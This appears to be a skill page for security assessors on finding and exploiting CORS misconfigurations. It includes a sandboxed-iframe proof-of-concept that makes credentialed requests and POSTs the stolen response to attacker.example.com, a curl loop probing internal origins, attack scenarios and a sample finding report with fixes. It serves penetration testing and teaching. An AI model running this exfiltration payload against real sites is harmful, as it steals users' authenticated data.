Identifying and exploiting Cross-Origin Resource Sharing misconfigurations that allow unauthorized cross-domain data access and credential theft during security assessments.
Installer avec Codex ou Claude Copiez ce prompt, collez-le dans Codex, Claude ou un autre assistant, puis laissez-le vérifier la page du skill et l'installer pour vous.
Une commande directe contourne le prompt de vérification. Examinez la source avant de l'exécuter.
Identifying and exploiting Cross-Origin Resource Sharing misconfigurations that allow unauthorized cross-domain data access and credential theft during security assessments.
If Origin: null is allowed, exploit via sandboxed iframes.
<!-- null-origin-exploit.html --><html><body><h1>Null Origin CORS Exploit</h1><!--
Sandboxed iframe sends requests with Origin: null
If server reflects Access-Control-Allow-Origin: null with credentials,
data can be exfiltrated
--><iframesandbox="allow-scripts allow-top-navigation allow-forms"srcdoc="
<script>
var xhr = new XMLHttpRequest();
xhr.onload = function() {
// Send stolen data to parent or attacker server
fetch('https://attacker.example.com/collect', {
method: 'POST',
body: xhr.responseText
});
};
xhr.open('GET', 'https://api.target.example.com/api/user/profile');
xhr.withCredentials = true;
xhr.send();
</script>
"></iframe></body></html><!-- Alternative: data: URI for null origin --><!-- Open in browser: data:text/html,<script>...</script> -->
Step 6: Test for Internal Network Access via CORS
Check if CORS allows access from internal origins that could be leveraged via XSS.
# Test internal/development origins
INTERNAL_ORIGINS=(
"http://localhost""http://localhost:3000""http://localhost:8080""http://127.0.0.1""http://192.168.1.1""http://10.0.0.1""https://staging.target.example.com""https://dev.target.example.com""https://test.target.example.com"
)
for origin in"${INTERNAL_ORIGINS[@]}"; doecho -n "$origin: "
curl -s -I -H "Origin: $origin" \
"https://api.target.example.com/api/user/profile" | \
grep -i "access-control-allow-origin" | tr -d '\r'echodone# If internal origins are allowed and have XSS:# 1. Find XSS on http://subdomain.target.example.com# 2. Use XSS to make CORS request to api.target.example.com# 3. Exfiltrate data via the XSS + CORS chain
Key Concepts
Concept
Description
Same-Origin Policy
Browser security model preventing scripts from one origin accessing data from another
CORS
Mechanism allowing servers to specify which origins can access their resources
Origin Reflection
Server mirrors the request Origin header in the ACAO response header (dangerous)
Null Origin
Special origin value from sandboxed iframes, data URIs, and redirects
Preflight Request
OPTIONS request sent before certain cross-origin requests to check permissions
Credentialed Requests
Cross-origin requests that include cookies, requiring explicit ACAO + ACAC headers
Wildcard CORS
Access-Control-Allow-Origin: * allows any origin but prohibits credentials
Tools & Systems
Tool
Purpose
Burp Suite Professional
Intercepting requests and modifying Origin headers
CORScanner
Automated CORS misconfiguration scanner (pip install corscanner)
cors-scanner
Node.js-based CORS testing tool
Browser DevTools
Monitoring CORS errors and network requests in real browser context
Python http.server
Hosting CORS exploit PoC pages
OWASP ZAP
Automated CORS misconfiguration detection
Common Scenarios
Scenario 1: Full Origin Reflection
The API reflects any Origin header in Access-Control-Allow-Origin with Access-Control-Allow-Credentials: true. Any website can read authenticated API responses, stealing user data.
Scenario 2: Null Origin Allowed
The server allows Origin: null with credentials. Using a sandboxed iframe, an attacker page sends credentialed requests to the API and reads the response data.
Scenario 3: Subdomain Wildcard Trust
The CORS policy allows *.target.example.com. An attacker finds XSS on forum.target.example.com and uses it to make cross-origin requests to api.target.example.com, stealing user data through the trusted subdomain.
Scenario 4: Regex Bypass on Origin Validation
The server uses regex target\.example\.com to validate origins, but fails to anchor the regex. attackertarget.example.com matches and is allowed access.
Output Format
## CORS Misconfiguration Finding
**Vulnerability**: CORS Origin Reflection with Credentials
**Severity**: High (CVSS 8.1)
**Location**: All /api/* endpoints on api.target.example.com
**OWASP Category**: A01:2021 - Broken Access Control
### CORS Configuration Observed
| Header | Value |
|--------|-------|
| Access-Control-Allow-Origin | [Reflects request Origin] |
| Access-Control-Allow-Credentials | true |
| Access-Control-Allow-Methods | GET, POST, PUT, DELETE |
| Access-Control-Expose-Headers | X-Auth-Token |
### Origin Validation Results
| Origin Tested | Reflected | Credentials |
|---------------|-----------|-------------|
| https://evil.com | Yes | Yes |
| null | Yes | Yes |
| http://localhost | Yes | Yes |
| https://evil.target.example.com | Yes | Yes |
### Impact
- Any website can read authenticated API responses in victim's browser
- User profile data (email, phone, address) exfiltrable
- Session tokens exposed via X-Auth-Token header
- CSRF protection bypassed (attacker can read and submit anti-CSRF tokens)
### Recommendation
1. Implement a strict allowlist of trusted origins
2. Never reflect arbitrary Origin values in Access-Control-Allow-Origin
3. Do not allow Origin: null with credentials
4. Validate origins with exact string matching, not regex substring matching
5. Set Access-Control-Max-Age to a reasonable value (600 seconds)
